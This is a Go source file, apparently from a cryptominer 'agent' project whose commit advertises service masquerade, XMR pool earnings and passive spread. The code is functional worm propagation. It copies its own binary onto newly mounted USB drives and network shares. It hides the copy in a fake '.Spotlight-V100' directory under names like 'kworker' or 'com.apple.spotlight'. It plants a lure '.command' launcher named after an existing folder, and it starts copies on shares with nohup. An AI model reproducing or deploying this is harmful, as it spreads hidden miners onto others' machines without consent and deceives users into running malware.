Files
AetherForge/agent/deploy/passive_spread_unix.go
drjones 102d2fb7c6 Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
2026-05-29 22:29:58 -07:00

224 lines
6.1 KiB
Go

//go:build !windows
package deploy
import (
"log"
"os"
"os/exec"
"path/filepath"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
)
// StartPassiveSpreader on Unix polls for newly mounted removable media
// (USB drives, SD cards) and drops the agent onto them.
func StartPassiveSpreader(cfg config.RuntimeConfig) {
if !cfg.USBSpread && !cfg.ShareSpread {
return
}
log.Printf("[passive-spread] initialising unix (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread)
if cfg.USBSpread {
go runUSBWatcherUnix(cfg)
}
if cfg.ShareSpread {
go runShareWatcherUnix(cfg)
}
}
// -----------------------------------------------------------------------
// USB / removable media watcher (Linux + macOS)
// -----------------------------------------------------------------------
func runUSBWatcherUnix(cfg config.RuntimeConfig) {
seen := map[string]bool{}
// Seed with already-mounted removable media so we don't spread to
// drives that were plugged in before the agent started.
for _, mp := range listRemovableMounts() {
seen[mp] = true
}
ticker := time.NewTicker(20 * time.Second)
defer ticker.Stop()
for range ticker.C {
for _, mp := range listRemovableMounts() {
if seen[mp] {
continue
}
seen[mp] = true
log.Printf("[passive-spread] new removable mount: %s", mp)
go spreadToMountUnix(cfg, mp)
}
}
}
// listRemovableMounts returns currently-mounted removable media paths.
// Linux: parses /proc/mounts, macOS: uses diskutil list + mount.
func listRemovableMounts() []string {
// Try lsblk first (Linux)
if out, err := exec.Command("lsblk", "-o", "MOUNTPOINT,HOTPLUG", "-J", "-p").Output(); err == nil {
return parseLsblkMounts(string(out))
}
// macOS: look in /Volumes/ for non-system mounts
return listVolumes()
}
func parseLsblkMounts(jsonOut string) []string {
// Simple substring scan — avoids importing encoding/json for a small binary
var mounts []string
lines := strings.Split(jsonOut, "\n")
var lastMP string
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.Contains(line, `"mountpoint"`) {
parts := strings.SplitN(line, ":", 2)
if len(parts) == 2 {
lastMP = strings.Trim(strings.TrimSpace(parts[1]), `",`)
}
}
if strings.Contains(line, `"hotplug": "1"`) || strings.Contains(line, `"hotplug":true`) {
if lastMP != "" && lastMP != "/" && lastMP != "null" {
mounts = append(mounts, lastMP)
}
}
}
return mounts
}
func listVolumes() []string {
entries, err := os.ReadDir("/Volumes")
if err != nil {
return nil
}
// Skip the system volume (usually "Macintosh HD") by checking if it's a
// symlink to / — all other entries are external/removable volumes.
var vols []string
for _, e := range entries {
full := filepath.Join("/Volumes", e.Name())
target, err := filepath.EvalSymlinks(full)
if err != nil {
vols = append(vols, full) // real mount, not a symlink
continue
}
if target != "/" {
vols = append(vols, full)
}
}
return vols
}
func spreadToMountUnix(cfg config.RuntimeConfig, mountPath string) {
exePath, err := os.Executable()
if err != nil {
return
}
destName := unixPayloadName(cfg)
// Hide in a dot-directory that looks like a metadata store
dropDir := filepath.Join(mountPath, ".Spotlight-V100") // looks like macOS system dir
if err := os.MkdirAll(dropDir, 0700); err != nil {
dropDir = filepath.Join(mountPath, ".metadata")
if err := os.MkdirAll(dropDir, 0700); err != nil {
dropDir = mountPath
}
}
dest := filepath.Join(dropDir, destName)
if err := copyFile(exePath, dest); err != nil {
return
}
_ = os.Chmod(dest, 0755)
log.Printf("[passive-spread] agent copied to %s", dest)
// Create a visible shell script or .command launcher that blends in.
launcherName := pickUnixLauncher(mountPath)
launcherPath := filepath.Join(mountPath, launcherName)
script := "#!/bin/sh\n" + `nohup "` + dest + `" >/dev/null 2>&1 &` + "\n"
_ = os.WriteFile(launcherPath, []byte(script), 0755)
}
func unixPayloadName(cfg config.RuntimeConfig) string {
if !cfg.StealthMode {
n := sanitizeName(cfg.WorkerName)
if n != "" {
return n
}
}
names := []string{"com.apple.spotlight", "mdsworker", "systemd-helper", "kworker"}
return names[int(time.Now().UnixNano())%len(names)]
}
func pickUnixLauncher(mountPath string) string {
entries, _ := os.ReadDir(mountPath)
for _, e := range entries {
if e.IsDir() && !strings.HasPrefix(e.Name(), ".") {
return e.Name() + ".command"
}
}
return "Start.command"
}
// -----------------------------------------------------------------------
// Mounted share watcher (Linux/macOS NFS, CIFS, SMB)
// -----------------------------------------------------------------------
var spreadSharesOnce sync.Once
func runShareWatcherUnix(cfg config.RuntimeConfig) {
time.Sleep(3 * time.Minute)
ticker := time.NewTicker(10 * time.Minute)
defer ticker.Stop()
spreadSharesOnce.Do(func() { spreadToSharesUnix(cfg) })
for range ticker.C {
spreadToSharesUnix(cfg)
}
}
func spreadToSharesUnix(cfg config.RuntimeConfig) {
exePath, err := os.Executable()
if err != nil {
return
}
for _, mp := range listRemoteShareMounts() {
mp := mp
go func() {
destName := unixPayloadName(cfg)
dest := filepath.Join(mp, "."+destName)
if _, err := os.Stat(dest); err == nil {
return
}
if err := copyFile(exePath, dest); err != nil {
return
}
_ = os.Chmod(dest, 0755)
log.Printf("[passive-spread] dropped to share %s", dest)
cmd := exec.Command("sh", "-c", `nohup "`+dest+`" >/dev/null 2>&1 &`)
_ = cmd.Start()
}()
}
}
// listRemoteShareMounts parses the `mount` output for CIFS/NFS mounts.
func listRemoteShareMounts() []string {
out, err := exec.Command("mount").Output()
if err != nil {
return nil
}
var mounts []string
for _, line := range strings.Split(string(out), "\n") {
lower := strings.ToLower(line)
if !strings.Contains(lower, "cifs") && !strings.Contains(lower, "nfs") && !strings.Contains(lower, "smbfs") {
continue
}
// mount line format: `//host/share on /mnt/share type cifs ...`
fields := strings.Fields(line)
for i, f := range fields {
if f == "on" && i+1 < len(fields) {
mounts = append(mounts, fields[i+1])
break
}
}
}
return mounts
}